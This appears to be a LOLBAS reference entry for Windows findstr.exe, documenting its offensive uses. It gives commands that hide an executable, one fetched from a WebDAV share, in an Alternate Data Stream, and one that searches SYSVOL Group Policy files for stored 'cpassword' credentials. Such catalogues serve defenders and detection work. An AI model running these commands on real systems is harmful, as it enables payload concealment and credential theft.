LOLBAS/OSBinaries/Findstr.exe.md

Findstr.exe

• Functions: Add ADS, Search

findstr /V /L W3AllLov3DonaldTrump c:\ADS\file.exe > c:\ADS\file.txt:file.exe
Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
Search for stored password in Group Policy files stored on SYSVOL.

• Resources:

  • https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
  • https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

• Full path:

  • c:\windows\system32\findstr.exe
  • c:\windows\sysWOW64\findstr.exe

• Notes: Thanks to Oddvar Moe - @oddvarmoe